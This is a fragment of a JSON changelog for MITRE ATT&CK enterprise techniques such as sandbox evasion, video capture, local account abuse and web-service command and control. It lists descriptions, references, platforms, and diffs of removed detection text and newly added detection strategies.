+ "description": "Selena Larson, Sam Scholten, Timothy Kromphardt. (2021, November 4). Caught Beneath the Landline: A 411 on Telephone Oriented Attack Delivery. Retrieved January 5, 2022.",
+ "url": "https://www.proofpoint.com/us/blog/threat-insight/caught-beneath-landline-411-telephone-oriented-attack-delivery"
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+ "source_name": "Talos Roblox Scam 2023",
+ "description": "Tiago Pereira. (2023, November 2). Attackers use JavaScript URLs, API forms and more to scam users in popular online game \u201cRoblox\u201d. Retrieved January 2, 2024.",
+ "url": "https://blog.talosintelligence.com/roblox-scam-overview/"
+ },
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+ "source_name": "proofpoint-selfpwn",
+ "description": "Tommy Madjar, Dusty Miller, Selena Larson. (2024, June 17). From Clipboard to Compromise: A PowerShell Self-Pwn. Retrieved August 2, 2024.",
+ "url": "https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn"
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+ "DS0032: Container (Container Start)"
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+ "DET0478: User Execution \u2013 multi-surface behavior chain (documents/links \u2192 helper/unpacker \u2192 LOLBIN/child \u2192 egress)"
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+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2021-03-30 17:20:05.789000+00:00",
+ "modified": "2025-10-24 17:49:13.999000+00:00",
+ "name": "Malicious Image",
+ "description": "Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)\n\nAdversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)",
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1204/003",
+ "external_id": "T1204.003"
+ },
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+ "source_name": "Summit Route Malicious AMIs",
+ "description": "Piper, S.. (2018, September 24). Investigating Malicious AMIs. Retrieved March 30, 2021.",
+ "url": "https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/"
+ },
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+ "source_name": "Aqua Security Cloud Native Threat Report June 2021",
+ "description": "Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.",
+ "url": "https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation"
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+ "Vishwas Manral, McAfee"
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+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-11 14:43:31.706000+00:00",
+ "modified": "2025-10-24 17:49:35.144000+00:00",
+ "name": "Malicious Link",
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+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1204/001",
+ "external_id": "T1204.001"
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "Windows"
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Authentication\", \"Logon Session: Logon Session Creation\", \"Logon Session: Logon Session Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:21.034000+00:00\", \"old_value\": \"2025-04-16 20:37:20.358000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\\n\\nOn Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) \\n\\nPerform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\\n-\\n-On Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) \\n-\\n-Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.\"}}}",
+ "previous_version": "1.5",
+ "changelog_mitigations": {
+ "shared": [
+ "M1017: User Training",
+ "M1018: User Account Management",
+ "M1026: Privileged Account Management",
+ "M1027: Password Policies",
+ "M1032: Multi-factor Authentication"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0002: User Account (User Account Authentication)",
+ "DS0028: Logon Session (Logon Session Creation)",
+ "DS0028: Logon Session (Logon Session Metadata)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0210: Abuse of Domain Accounts"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-13 20:26:46.695000+00:00",
+ "modified": "2025-10-24 17:49:39.874000+00:00",
+ "name": "Local Accounts",
+ "description": "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "initial-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1078/003",
+ "external_id": "T1078.003"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows",
+ "Containers",
+ "Network Devices",
+ "ESXi"
+ ],
+ "x_mitre_version": "1.5",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"Logon Session: Logon Session Metadata\", \"User Account: User Account Authentication\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:39.874000+00:00\", \"old_value\": \"2025-04-15 19:59:24.607000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours.\"}}}",
+ "previous_version": "1.5",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1026: Privileged Account Management",
+ "M1027: Password Policies",
+ "M1032: Multi-factor Authentication"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0002: User Account (User Account Authentication)",
+ "DS0028: Logon Session (Logon Session Creation)",
+ "DS0028: Logon Session (Logon Session Metadata)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0407: Detection of Local Account Abuse for Initial Access and Persistence"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:31:37.917000+00:00",
+ "modified": "2025-10-24 17:48:56.077000+00:00",
+ "name": "Video Capture",
+ "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "collection"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1125",
+ "external_id": "T1125"
+ },
+ {
+ "source_name": "objective-see 2017 review",
+ "description": "Patrick Wardle. (n.d.). Retrieved March 20, 2018.",
+ "url": "https://objective-see.com/blog/blog_0x25.html"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Praetorian"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
+ "macOS",
+ "Linux"
+ ],
+ "x_mitre_version": "1.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:56.077000+00:00\", \"old_value\": \"2025-04-25 15:15:42.332000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\\n\\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\\n-\\n-Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.\"}}}",
+ "previous_version": "1.2",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0197: Behavior-chain, platform-aware detection strategy for T1125 Video Capture"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2019-04-17 22:22:24.505000+00:00",
+ "modified": "2025-10-24 17:49:02.638000+00:00",
+ "name": "Virtualization/Sandbox Evasion",
+ "description": "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "discovery"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1497",
+ "external_id": "T1497"
+ },
+ {
+ "source_name": "Unit 42 Pirpi July 2015",
+ "description": "Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019.",
+ "url": "https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/"
+ },
+ {
+ "source_name": "Deloitte Environment Awareness",
+ "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.",
+ "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Deloitte Threat Library Team",
+ "Sunny Neo"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.4",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:02.638000+00:00\", \"old_value\": \"2025-04-15 19:58:47.123000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Virtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.\"}}}",
+ "previous_version": "1.4",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0046: Detection Strategy for T1497 Virtualization/Sandbox Evasion"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-06 20:57:37.959000+00:00",
+ "modified": "2025-10-24 17:48:33.591000+00:00",
+ "name": "System Checks",
+ "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Once executed, malware may also use [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) to check if it was saved in a folder or file with unexpected or even analysis-related naming artifacts such as `malware`, `sample`, or `hash`.\n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "discovery"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1497/001",
+ "external_id": "T1497.001"
+ },
+ {
+ "source_name": "Unit 42 OilRig Sept 2018",
+ "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.",
+ "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"
+ },
+ {
+ "source_name": "McAfee Virtual Jan 2017",
+ "description": "Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019.",
+ "url": "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/"
+ },
+ {
+ "source_name": "Deloitte Environment Awareness",
+ "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.",
+ "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Deloitte Threat Library Team",
+ "Kostya Vasilkov"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "2.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:33.591000+00:00\", \"old_value\": \"2025-04-15 19:58:16.253000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Virtualization/sandbox related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.\"}}}",
+ "previous_version": "2.3",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0168: Virtualization/Sandbox Evasion via System Checks across Windows, Linux, macOS"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-06 21:04:12.454000+00:00",
+ "modified": "2025-10-24 17:49:06.305000+00:00",
+ "name": "User Activity Based Checks",
+ "description": "Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "discovery"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1497/002",
+ "external_id": "T1497.002"
+ },
+ {
+ "source_name": "FireEye FIN7 April 2017",
+ "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
+ "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
+ },
+ {
+ "source_name": "Unit 42 Sofacy Nov 2018",
+ "description": "Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved April 23, 2019.",
+ "url": "https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/"
+ },
+ {
+ "source_name": "Sans Virtual Jan 2016",
+ "description": "Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019.",
+ "url": "https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667"
+ },
+ {
+ "source_name": "Deloitte Environment Awareness",
+ "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.",
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+ "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
+ "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "ESXi",
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Content\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:37.828000+00:00\", \"old_value\": \"2025-04-25 14:48:36.031000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1021: Restrict Web-Based Content",
+ "M1031: Network Intrusion Prevention"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0029: Network Traffic (Network Traffic Content)",
+ "DS0029: Network Traffic (Network Traffic Flow)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0058: Detection Strategy for Web Service: Dead Drop Resolver"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-03-14 22:45:52.963000+00:00",
+ "modified": "2025-10-24 17:49:08.849000+00:00",
+ "name": "One-Way Communication",
+ "description": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to a compromised system without receiving return output over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems may opt to send the output from those commands back over a different C2 channel, including to another distinct Web service. Alternatively, compromised systems may return no output at all in cases where adversaries want to send instructions to systems and do not want a response.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "command-and-control"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1102/003",
+ "external_id": "T1102.003"
+ },
+ {
+ "source_name": "University of Birmingham C2",
+ "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
+ "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows",
+ "ESXi"
+ ],
+ "x_mitre_version": "1.1",
